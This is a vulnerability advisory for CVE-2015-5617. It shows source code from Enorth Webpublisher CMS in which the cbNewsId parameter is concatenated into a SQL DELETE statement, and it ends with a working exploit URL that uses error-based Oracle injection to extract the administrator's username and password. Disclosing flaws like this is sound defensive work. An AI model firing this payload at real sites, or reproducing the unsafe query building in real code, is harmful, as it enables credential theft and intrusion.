<p>Title:</p><p>[CVE-2015-5617]Enorth Webpublisher CMS SQL Injection from delete_pending_news.jsp cbNewsid</p><p>Vendor:</p><p><a href="http://products.enorth.com.cn/bfnrglxt/index.shtml" target="_blank">http://products.enorth.com.cn/bfnrglxt/index.shtml</a></p><p>Enorth Webpublisher CMS so far of the scale of tens of thousands of web sites, with the government, enterprises, scientific research and education and media industries fields such as nearly thousands of business users.</p><p>Versions Affected:</p><p>All versions</p><p>Author:</p><p>xin.wang(xin.wang(at)dbappsecurity.com.cn)</p><p><b>Vulnerability Description:</b></p><p><b><i>/pub/m_pending_news/delete_pending_news.jsp</i></b></p><p><%</p><p>String[] newsIdGroup;</p><p>newsIdGroup = request.getParameterValues("<font color="#FF0000">cbNewsId</font>");<font color="#4DCE1D">//接受URL中的参数，但未做太多检查只是判读是否为空，长度是否为零。</font></p><p>if (newsIdGroup == null || newsIdGroup.length == 0) {</p><p> throw new P3Exception("mbx_news_submit_empty_news_id");</p><p>} else {</p><p> penTran.<font color="#939600">deletePendingNews</font>(newsIdGroup);<font color="#4DCE1D">//调用函数，如下内容。</font></p><p>}</p><p>%></p><p><b><i>/WEB-INF/classes/cn/com/enorth/pub3/m_news/PendingNewsBean.class</i></b></p><p> public void <font color="#C6C500">deletePendingNews</font>(String[] newsIds) throws Exception {</p><p> Connection cn = null;</p><p> PreparedStatement pstm = null;</p><p> try {</p><p> StringBuffer buf = new StringBuffer();</p><p> buf.append("delete from tn_pending_news where news_id in ("); //SQL:delete from tn_pending_news where news_id in ( </p><p> int i = 0; </p><p> for (int len = newsIds.length; i < len; i++) {</p><p> buf.append(newsIds[i]).append(",");//SQL:delete from tn_pending_news where news_id in (newsId0,newsId1,</p><p> }</p><p> buf.append("-1)");//SQL:delete from tn_pending_news where news_id in (newsId0,newsId1, ......,-1)</p><p> <u> //注入后的SQL：delete from tn_pending_news where news_id in (2222)%20and%201=ctxsys.drithsx.sn(1,(select%20USER_NAME||PASS_WORD%20from%20TN_USER%20WHERE%20USER_ID=1))?,-1)</u></p><p> cn = P3DBTools.getPubConnection();</p><p> pstm = cn.prepareStatement(buf.toString());</p><p> pstm.executeUpdate();//jQuery214026565031625297597_1441187851385</p><p> cn.commit();</p><p> } catch (Exception ex) {</p><p> P3DBTools.rollback(cn);</p><p> throw ex;</p><p> } finally {</p><p> P3DBTools.freeConnection(cn);</p><p> }</p><p> }</p><p>}</p><p><br></p><p>Exploit:</p><p><a href="http://website.com/pub/m_pending_news/delete_pending_news.jsp?cbNewsId=2222%29%20and%201=ctxsys.drithsx.sn%281,%28select%20USER_NAME%7C%7CPASS_WORD%20from%20TN_USER%20WHERE%20USER_ID=1%29%29?" target="_blank">http://website.com/pub/m_pending_news/delete_pending_news.jsp?cbNewsId=2222)%20and%201=ctxsys.drithsx.sn(1,(select%20USER_NAME||PASS_WORD%20from%20TN_USER%20WHERE%20USER_ID=1))?</a></p>
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